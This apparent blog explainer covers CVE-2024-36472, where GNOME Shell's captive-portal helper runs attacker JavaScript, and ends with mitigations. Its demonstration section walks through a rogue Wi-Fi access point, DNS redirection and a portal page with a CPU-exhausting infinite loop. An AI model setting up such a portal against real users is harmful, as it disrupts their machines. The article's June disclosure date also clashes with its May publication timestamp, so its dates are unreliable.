In June 2024, a serious vulnerability was disclosed in GNOME Shell, an essential component of millions of GNU/Linux desktops. Catalogued as CVE-2024-36472, this bug allows an attacker—especially someone controlling a public Wi-Fi access point—to launch a web helper automatically on victim computers, running untrusted JavaScript code. This can drain resources, snoop for sensitive info, or disrupt your computer. Let's break down what this means, how it works, and what you can do to protect yourself.

What is GNOME Shell’s portal helper?

When you connect to certain networks (like a hotel or café Wi-Fi), your computer tries to check if the Internet is really available. To do this, GNOME Shell may launch a small web browser or “portal helper” automatically to log you into captive portals or verify access.

The Vulnerability

In all GNOME Shell releases up to 45.7, this helper can be triggered by network “signatures” controlled by attackers (think: the log-in page you see when connecting to a hotel Wi-Fi). Because GNOME automatically launches this portal helper and loads the attacker’s web page, untrusted JavaScript is run *without* your permission.

How Attackers Exploit CVE-2024-36472

Suppose a bad actor controls a café’s Wi-Fi. When you connect, instead of showing you a genuine login page, their network returns a malicious page that will be rendered by the GNOME portal helper. Because the system launched the helper automatically and loads any JavaScript from the attacker’s page, all sorts of mischief is possible.

Demonstrating the Exploit

It's pretty simple for a would-be attacker to set up a fake Wi-Fi captive portal. Here’s a miniature example:

Step 1: Set up a Wi-Fi Access Point

Use a Raspberry Pi, or any Linux box with Wi-Fi, and hostapd to broadcast an access point.

sudo apt install hostapd dnsmasq
# Edit config files and start Wi-Fi sharing...

Step 2: Serve a Malicious Captive Portal

Using Python, serve up a simple page that runs endless JavaScript and uses lots of CPU.

malicious_portal/index.html

<!DOCTYPE html>
<html>
<head>
  <title>Welcome to Free WiFi</title>
  <script>
    // JavaScript loop to waste CPU
    while(true) {
      console.log("Wasting CPU...");
    }
  </script>
</head>
<body>
  <h1>Connecting you to the Internet...</h1>
</body>
</html>

Run the web server

cd malicious_portal
python3 -m http.server 80

Step 3: Modify DNS to Intercept All Traffic

Point all DNS requests to your fake portal, using dnsmasq or similar.

Result

Any GNOME user who joins this Wi-Fi will automatically have the portal helper pop up, and the above JavaScript code will run—potentially freezing or slowing their system.

Mitigations and Recommendations

GNOME 45.8 and later closes this loophole by placing stronger restrictions on when and how the portal helper is opened, and limiting page behavior.

- Upgrade immediately: Make sure your GNOME Shell is updated. Check with your Linux distribution for patched versions.
- Disable automatic captive portal detection: This may be labeled as "automatic browser launch on captive networks." Disabling it helps, but you might have to manually sign in to networks.
- Be conscious of unknown Wi-Fi: Avoid connecting to open or suspicious public Wi-Fi when possible.

References and Further Reading

- GNOME Security Advisory on CVE-2024-36472
- Red Hat Bugzilla: CVE-2024-36472
- The MITRE CVE Entry for CVE-2024-36472
- How NetworkManager handles captive portals
- Official GNOME Shell Source (for reviewing code)

Final Thoughts

CVE-2024-36472 is a textbook example of how subtle trust boundaries—like captive portal web helpers—can become attack vectors in open networks. If you use GNOME Shell, check for updates or patches from your distribution’s security team. As always, stay cautious about the networks you connect to and monitor for canned security advisories in your software updater.

Timeline

Published on: 05/28/2024 16:15:17 UTC
Last modified on: 11/19/2024 22:35:09 UTC